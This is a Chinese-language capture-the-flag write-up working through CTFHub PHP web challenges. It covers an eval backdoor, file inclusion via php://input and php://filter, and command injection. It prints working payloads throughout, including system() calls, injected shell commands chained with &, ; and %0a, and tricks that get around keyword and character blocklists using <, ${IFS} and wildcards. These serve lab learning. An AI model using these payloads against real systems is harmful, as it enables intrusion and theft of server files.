eval执行
打开来是这样的网站,去看博客复习一下php咯
- php函数意思是:
是否有变量cmd 如果有,就执行eval($_REQUEST[‘cmd’]);也就是 木马
__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture
所以我们在访问的时候使用变量 cmd
/?cmd=system("ls");
坑:记得加;
无信息,返回上级
/?cmd=system("ls /");
找到flag
3.查看flag,坑:相对路径
/?cmd=system("cat /flag_19968");
文件包含
如图
查看给的shell,是一句话木马,密码(需要传递的参数)ctfhub
strpos:查找字符串首次出现的位置。 用法:strpos(string,find,start)
php函数意思:
如果get传参的变量中含有flag,就会执行 else 进行警告 Hacker!!!
否则,执行包含起来的文件: $_GET[“file”]
- 现在要想办法绕过hacker警告,执行包含,看别人博客,发现
我们需要找个变量指向一个没有 flag 的文件,题目就自带一个shell.txt,想办法利用它。
我们可以传递file参数到网站,file=shell.txt
然后想办法将ctfhub传到shell,实现连接木马的目的
别人博客是这么写的,利用了hackbar,然后其实burp抓包也一样
- 按照上述步骤执行命令,效果如图
发现flag
php://input
高危漏洞,写入文件内容,做命令执行动作。只有在allow_url_include为on的时候才能利用这个漏洞
xs,怎么把phpinfo发给大家了,然后查查allow_url_include,发现是开着的
- 构造url。/?file=php://input, 还是勾选post data,然后利用php执行系统指令
<?php system("cat /flag_21097"); ?>
拿下!
读取源代码
题目提示你flag文件在/flag里了,但要求你读取源代码才能看到
这里用php包含读文件的知识点,就是想办法读取目录中的某个文件内容
- 根据ipad的资料,构造url
?file=php://filter/read=/resource=/flag
不用加convert.base64-encode,直接拿下
远程包含
需要开启allow_url_include = on和magic_quotes_gpc = off
又把phpinfo给出来咯,那就查看上述提到的俩参数有没有设置好,一般都设置好了吧。
我的思路:构造/?file = .xxx.com/www/shell.txt (我的网址,上传shell,执行系统命令)
大佬博客思路: 跟上一题一样,直接用php://input
所以还是用php://input吧,同样也可以称之为远程包含
这里了解一下上题用到的filter吧
但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的
必须先使用 php://input 获得 flag
- 构造payload.
这什么玩意儿,这不跟上几题一样吗?
命令注入
如题
有一个命令输入框,还有源代码
- 有种冲动试一试,直接来
192.168.111.111 || ls
果真试出来了,接下来就是目录遍历找flag了
补充一下命令连接符知识点
- 用如下代码
123 & cat 4361735513621.php
发现打不开PHP文件,看了下别人博客,用管道符base64解码
123 & cat 4361735513621.php | base64
出来了,放到解码工具
拿到flag
过滤cat
还是用如下代码看目录
127.0.0.1 & ls
如题描述,服务端代码过滤掉cat了
没关系,用个more试试
127.0.0.1 & more flag_2344011145960.php
好,绕过了,只是打不开,老办法,base64一下
127.0.0.1 & more flag_2344011145960.php|base64
出来了
过滤空格
直接编码一下空格,%20
本来想用:127.0.0.1&cat%20flag_318971575127058.php|base64
发现好像不太行
大佬博客:
好好好,直接用<代替空格
127.0.0.1&cat<flag_318971575127058.php|base64
出来了
过滤目录分隔符
这次过滤了目录分割符 /
- 还是127.0.0.1&ls
我的思路:使用//双写,(不太行,已经过滤掉了)
大佬思路:使用;----利用分号使多个命令同时进行
payload:
127.0.0.1 ; cd flag_is_here; ls
127.0.0.1 ; cd flag_is_here; cat flag_12031321527007.php|base64
可以,拿下了。
居然没有第一时间想到;符号
shame,继续加油,积累经验
过滤运算符
多过滤了几个运算符/(\||\&)/
xs,没过滤分号;
;ls
不过确实,不能加 |base64
了,得想别的办法
哦,刚看了下,base64还能写在前面,麻了
;base64 flag_217831934716573.php
拿下
综合过滤
同时过滤了前面几个小节的内容: /(\||&|;| |\/|cat|flag|ctfhub)/
连;也过滤了,但没过滤百分号
看了下大佬思路;用%0a代替,其他的没啥好说的,懂得都懂
坑:%0a是url编码所以要在url栏中执行,上面空格替换的思路也是一样
注意:flag也过滤掉了,用如下代码代替-{IFS}f***
- 构造payload
%0Acd${IFS}f***_is_here${IFS}%0Als
记得base64写在前面
%0Acd${IFS}f***_is_here${IFS}%0Abase64${IFS}f***_45911529120623.php
拿下